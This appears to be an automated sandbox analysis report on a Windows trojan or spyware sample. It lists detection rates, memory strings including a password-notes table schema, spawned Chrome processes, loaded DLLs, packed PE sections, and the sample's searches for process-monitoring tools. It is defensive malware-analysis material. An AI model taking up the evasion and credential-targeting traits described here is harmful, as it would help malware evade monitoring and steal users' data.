Source: v5Evrl41VR.exe, 00000000.00000003.1612853388.0000000005FCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1611985517.0000000005FCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1617105546.0000000005FCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1622618571.00000000060EF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1616469196.0000000005FCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1616841395.0000000005FCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1614535601.000000000607B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1626797086.0000000006109000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1611044447.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1625159730.000000000610E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1612162544.0000000005FC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1619180157.00000000060C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1613179879.0000000006074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1618299291.00000000057DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1628668117.0000000005FCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1617369482.000000000619D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1615420282.0000000006098000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1613501152.000000000606D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1615312559.0000000005FD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1624397356.0000000006104000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1621159888.00000000060E5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1618914029.00000000061B0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1617787164.0000000005FC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1623759461.0000000005FC7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1610483874.0000000005CB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1631075881.0000000005FCD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1619048101.0000000005FCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1617240687.00000000060B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1617503904.0000000005FD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1629834790.000000000612E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1610911999.0000000005FC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1619962724.0000000005FCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1610744493.0000000005A33000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1612714980.0000000006072000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1628126758.0000000005FCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1614098612.0000000005FC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1624852566.0000000006113000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1613973513.0000000006076000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1621633715.0000000005FCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1624552147.0000000006240000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1613825947.0000000005FD2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1623570784.00000000060FA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1612429380.0000000005FD3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1616192930.0000000006097000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1615855308.000000000609A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe

Source: v5Evrl41VR.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: v5Evrl41VR.exe

Static PE information: Section: ZLIB complexity 0.9995915032679739

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/70@19/6

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\v5Evrl41VR.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: v5Evrl41VR.exe, 00000000.00000003.1412741520.0000000005738000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: v5Evrl41VR.exe	Virustotal: Detection: 54%
Source: v5Evrl41VR.exe	ReversingLabs: Detection: 60%

Source: v5Evrl41VR.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: v5Evrl41VR.exe	String found in binary or memory: RtlAllocateHeap3Cannot find '%s'. Please, re-install this applicationThunRTMain__vbaVarTstNeQ

Source: C:\Users\user\Desktop\v5Evrl41VR.exe

File read: C:\Users\user\Desktop\v5Evrl41VR.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\v5Evrl41VR.exe "C:\Users\user\Desktop\v5Evrl41VR.exe"
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=v5Evrl41VR.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=1976,i,11847883741376242636,13624544470231846416,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=v5Evrl41VR.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1928,i,13811161353852396397,13464806499312463591,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=v5Evrl41VR.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=v5Evrl41VR.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=1976,i,11847883741376242636,13624544470231846416,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2036 --field-trial-handle=1928,i,13811161353852396397,13464806499312463591,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.4.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: v5Evrl41VR.exe

Static file information: File size 2940416 > 1048576

Source: v5Evrl41VR.exe

Static PE information: Raw size of oghvwosx is bigger than: 0x100000 < 0x2a4200

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: v5Evrl41VR.exe

Static PE information: real checksum: 0x2d74c4 should be: 0x2d2787

Source: v5Evrl41VR.exe	Static PE information: section name:
Source: v5Evrl41VR.exe	Static PE information: section name: .rsrc
Source: v5Evrl41VR.exe	Static PE information: section name: .idata
Source: v5Evrl41VR.exe	Static PE information: section name: oghvwosx
Source: v5Evrl41VR.exe	Static PE information: section name: hemaizfi
Source: v5Evrl41VR.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D0FDDD pushfd ; iretd	0_3_00D0FDDE
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D101CD pushfd ; iretd	0_3_00D101CE
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D0B059 pushad ; iretd	0_3_00D0B082
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D08976 pushad ; iretd	0_3_00D089EE
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D09D00 push E800CF66h; iretd	0_3_00D09D05
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D0C433 push eax; ret	0_3_00D0C449
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D0B938 push ss; ret	0_3_00D0B99A
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D0B324 pushad ; iretd	0_3_00D0B336
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D0FDDD pushfd ; iretd	0_3_00D0FDDE
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D101CD pushfd ; iretd	0_3_00D101CE
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D0B059 pushad ; iretd	0_3_00D0B082
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D08976 pushad ; iretd	0_3_00D089EE
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D09D00 push E800CF66h; iretd	0_3_00D09D05
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D0C433 push eax; ret	0_3_00D0C449
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D0B938 push ss; ret	0_3_00D0B99A
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D0B324 pushad ; iretd	0_3_00D0B336
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D0FDDD pushfd ; iretd	0_3_00D0FDDE
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D101CD pushfd ; iretd	0_3_00D101CE
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D0B059 pushad ; iretd	0_3_00D0B082
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D08976 pushad ; iretd	0_3_00D089EE
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D09D00 push E800CF66h; iretd	0_3_00D09D05
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D0C433 push eax; ret	0_3_00D0C449
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D0B938 push ss; ret	0_3_00D0B99A
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D0B324 pushad ; iretd	0_3_00D0B336
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D0FDDD pushfd ; iretd	0_3_00D0FDDE
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D101CD pushfd ; iretd	0_3_00D101CE
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D0B059 pushad ; iretd	0_3_00D0B082
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D08976 pushad ; iretd	0_3_00D089EE
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D09D00 push E800CF66h; iretd	0_3_00D09D05
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D0C433 push eax; ret	0_3_00D0C449
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Code function: 0_3_00D0B938 push ss; ret	0_3_00D0B99A

Source: v5Evrl41VR.exe

Static PE information: section name: entropy: 7.98019458776783

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\v5Evrl41VR.exe	Window searched: window name: Regmonclass	Jump to behavior
